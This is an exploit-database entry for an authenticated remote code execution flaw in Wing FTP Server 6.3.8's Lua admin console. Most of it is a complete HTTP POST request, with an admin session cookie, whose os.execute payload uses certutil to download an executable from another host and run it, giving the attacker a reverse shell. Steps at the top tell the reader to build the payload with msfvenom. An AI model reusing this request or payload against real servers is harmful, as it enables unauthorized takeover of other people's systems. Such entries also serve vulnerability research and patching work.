# Wing FTP Server 6.3.8 - Remote Code Execution (Authenticated)

**EDB-ID:**
48676

**CVE:**
N/A

**EDB Verified:** ×

**Author:**
V1N1V131R4

**Type:**
WEBAPPS

**Exploit:** / {}

**Platform:**
LUA

**Date:**
2020-07-16

**Vulnerable App:**

```
# Exploit Title: Wing FTP Server 6.3.8 - Remote Code Execution
(Authenticated)
# Date: 2020-06-26
# Exploit Author: v1n1v131r4
# Vendor Homepage: https://www.wftpserver.com/
# Software Link: https://www.wftpserver.com/download.htm
# Version: 6.3.8
# Tested on: Windows 10
# CVE : --

Wing FTP Server have a web console based on Lua language. For authenticated
users, this console can be exploited to obtaining a reverse shell.

1) Generate your payload (e.g. msfvenom)
2) Send and execute via POST

POST /admin_lua_.html?r=0.3592753444724336 HTTP/1.1
Host: 192.168.56.105:5466
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.105:5466/admin_lua_term.html
Content-Type: text/plain;charset=UTF-8
Content-Length: 153
Connection: close
Cookie: admin_lang=english; admin_login_name=admin;
UIDADMIN=75e5058fb61a81e427ae86f55794f1f5

command=os.execute('cmd.exe%20%2Fc%20certutil.exe%20-urlcache%20-split%20-
f%20http%3A%2F%2F192.168.56.103%2Fshell.exe%20c%3A%5Cshell.exe%20%26shell.exe
```

**Tags:**

**Advisory/Source:** Link

Databases

Links

Sites

Solutions